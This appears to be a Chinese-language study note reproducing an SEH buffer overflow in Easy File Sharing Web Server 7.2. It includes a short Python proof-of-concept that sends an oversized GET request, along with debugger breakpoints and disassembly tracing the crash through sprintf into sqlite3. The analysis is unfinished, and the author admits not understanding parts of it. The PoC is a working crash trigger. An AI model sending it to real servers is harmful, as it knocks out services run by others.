Easy File Sharing Web Server 7.2 - GET Buffer Overflow (SEH)

漏洞环境

漏洞复现分析

测试Poc

import socket
import sys
host = str(sys.argv[1])
port = int(sys.argv[2])
a = socket.socket()
print "Connecting to: " + host + ":" + str(port)
a.connect((host,port))
buff= "A"*4500
a.send("GET " + buff + " HTTP/1.0\\r\\n\\r\\n")
a.close()
print "Done..."

Windbg界面
Untitled (9).png
Untitled (10).png
根据栈回溯的第一个返回地址61c6286c,我们发现这个地址处于sqlite3LockAndPrepare函数中
Untitled (11).png
在这个函数中没发现EAX是怎么传入的,接着查看004968f4处的父函数

.text:004968D0 sub_4968D0      proc near               ; CODE XREF: sub_4971A0+EFp
.text:004968D0                                         ; sub_497440+29p ...
.text:004968D0
.text:004968D0 var_4           = dword ptr -4
.text:004968D0 arg_0           = dword ptr  4
.text:004968D0 arg_4           = dword ptr  8
.text:004968D0
.text:004968D0                 push    ecx
.text:004968D1                 mov     eax, [esp+4+arg_4]
.text:004968D5                 push    esi
.text:004968D6                 test    eax, eax
.text:004968D8                 mov     [esp+8+var_4], 0
.text:004968E0                 push    0
.text:004968E2                 jz      short loc_496914
.text:004968E4                 lea     edx, [esp+0Ch+arg_4]
.text:004968E8                 push    edx
.text:004968E9                 push    0FFFFFFFFh
.text:004968EB                 push    eax
.text:004968EC                 mov     eax, [ecx]
.text:004968EE                 push    eax
.text:004968EF                 call    sqlite3_prepare_v2
.text:004968F4                 add     esp, 14h

同样这个004968f4处于函数sub_4968D0中,那我们试着在sub_4968D0处下断点看看
1.png
第三次断下来的时候ECX指向了41414141(为什么要看ECX?因为此处执行语句为push ecx)
对01b17058下一个写入断点

ba w4 01b17058".if(poi(01b17058)==0x41414141){}.else{gc}"

2.png

.text:00500DDE _write_char     proc near               ; CODE XREF: sub_500640+1D2p
.text:00500DDE                                         ; sub_500640+1EBp ...
.text:00500DDE
.text:00500DDE arg_0           = dword ptr  8
.text:00500DDE arg_4           = dword ptr  0Ch
.text:00500DDE arg_8           = dword ptr  10h
.text:00500DDE
.text:00500DDE                 push    ebp
.text:00500DDF                 mov     ebp, esp
.text:00500DE1                 mov     ecx, [ebp+arg_4]
.text:00500DE4                 dec     dword ptr [ecx+4]
.text:00500DE7                 js      short loc_500DF7
.text:00500DE9                 mov     edx, [ecx]
.text:00500DEB                 mov     al, byte ptr [ebp+arg_0]
.text:00500DEE                 mov     [edx], al
.text:00500DF0                 inc     dword ptr [ecx]
.text:00500DF2                 movzx   eax, al
.text:00500DF5                 jmp     short loc_500E02

可以看到在write_char函数中
此时查看调用堆栈
Untitled (12).png
004f9698在sprintf函数中

.text:004F966A ; int sprintf(char *, const char *, ...)
.text:004F966A _sprintf        proc near               ; CODE XREF: sub_401520+36p
.text:004F966A                                         ; sub_401B70+35p ...
.text:004F966A
.text:004F966A var_20          = FILE ptr -20h
.text:004F966A arg_0           = dword ptr  8
.text:004F966A arg_4           = dword ptr  0Ch
.text:004F966A arg_8           = dword ptr  10h
.text:004F966A
.text:004F966A                 push    ebp
.text:004F966B                 mov     ebp, esp
.text:004F966D                 sub     esp, 20h
.text:004F9670                 mov     eax, [ebp+arg_0]
.text:004F9673                 push    esi
.text:004F9674                 mov     [ebp+var_20._base], eax
.text:004F9677                 mov     [ebp+var_20._ptr], eax
.text:004F967A                 lea     eax, [ebp+arg_8]
.text:004F967D                 mov     [ebp+var_20._flag], 42h
.text:004F9684                 push    eax             ; int
.text:004F9685                 lea     eax, [ebp+var_20]
.text:004F9688                 push    [ebp+arg_4]     ; int
.text:004F968B                 mov     [ebp+var_20._cnt], 7FFFFFFFh
.text:004F9692                 push    eax             ; FILE *
.text:004F9693                 call    sub_500640
.text:004F9698                 add     esp, 0Ch
.text:004F969B                 dec     [ebp+var_20._cnt]
.text:004F969E                 mov     esi, eax
.text:004F96A0                 js      short loc_4F96AA
.text:004F96A2                 mov     eax, [ebp+var_20._ptr]
.text:004F96A5                 and     byte ptr [eax], 0
.text:004F96A8                 jmp     short loc_4F96B7

再看看00497753

.text:00497736                 mov     eax, [esp+1040h+var_1020]
.text:0049773A                 mov     ecx, [esp+1040h+var_1024]
.text:0049773E                 add     esp, 10h
.text:00497741                 lea     edx, [esp+1030h+var_100C]
.text:00497745                 push    edi
.text:00497746                 push    eax
.text:00497747                 push    ecx
.text:00497748                 push    offset aSelectFromSWhe ; "select * from %s where %s='%s'"
.text:0049774D                 push    edx             ; char *
.text:0049774E                 call    _sprintf
.text:00497753                 add     esp, 14h
.text:00497756                 lea     eax, [esp+1030h+var_100C]
.text:0049775A                 lea     ecx, [esp+1030h+var_101C]
.text:0049775E                 push    eax
.text:0049775F                 push    ecx
.text:00497760                 mov     ecx, esi
.text:00497762                 call    sub_4968D0

我们在bp 00497745下断点,执行到0049774E的sprintf函数看看栈上参数
Untitled (13).png
01b15fd4处为sprintf的第一个参数
012c272c为最后一个参数(调用sprintf前五次push入栈)
最后一个参数被“A"充满

Untitled (14).png

大量的”A“组成的字符串造成了栈溢出

最后拿去给给sqlite3.dll处理的时候造成异常 具体路径如下,sprintf执行完下一条语句是调用sub_4968D0函数 sub_4968D0->sqlite3_prepare_v2->sqlite3LockAndPrepare->sqlite3SafetyCheckOk(在这函数里面异常) 012c272c处的字符是哪里来的?

下断点

ba w4 012c272c".if(poi(012c272c)==0x41414141){}.else{gc}"

Untitled (15).png

.text:004FC2F0 ; void *__cdecl memcpy_0(void *, const void *, size_t)
.text:004FC2F0 _memcpy_0       proc near               ; CODE XREF: sub_4EE59E+A2p
.text:004FC2F0                                         ; sub_4EE59E+FEp ...
.text:004FC2F0
.text:004FC2F0 var_3A6BFFB1    = byte ptr -3A6BFFB1h
.text:004FC2F0 var_3A5BFFB1    = byte ptr -3A5BFFB1h
.text:004FC2F0 var_3A4BFFB1    = byte ptr -3A4BFFB1h
.text:004FC2F0 arg_0           = dword ptr  8
.text:004FC2F0 arg_4           = dword ptr  0Ch
.text:004FC2F0 arg_8           = dword ptr  10h
.text:004FC2F0
.text:004FC2F0                 push    ebp
.text:004FC2F1                 mov     ebp, esp
.text:004FC2F3                 push    edi
.text:004FC2F4                 push    esi
.text:004FC2F5                 mov     esi, [ebp+arg_4]
.text:004FC2F8                 mov     ecx, [ebp+arg_8]
.text:004FC2FB                 mov     edi, [ebp+arg_0]
.text:004FC2FE                 mov     eax, ecx
.text:004FC300                 mov     edx, ecx
.text:004FC302                 add     eax, esi
.text:004FC304                 cmp     edi, esi
.text:004FC306                 jbe     short loc_4FC310
.text:004FC308                 cmp     edi, eax
.text:004FC30A                 jb      loc_4FC488
.text:004FC310
.text:004FC310 loc_4FC310:                             ; CODE XREF: _memcpy_0+16j
.text:004FC310                 test    edi, 3
.text:004FC316                 jnz     short loc_4FC32C
.text:004FC318                 shr     ecx, 2
.text:004FC31B                 and     edx, 3
.text:004FC31E                 cmp     ecx, 8          ; switch 8 cases
.text:004FC321                 jb      short loc_4FC34C
.text:004FC323                 rep movsd               ; jumptable 004FC34C default case
.text:004FC325                 jmp     ds:off_4FC438[edx*4]

来自于memcpy_0函数

不理解

hex(0x02057058- 0x02055fd4) '0x1084'

不懂这怎么来的

总结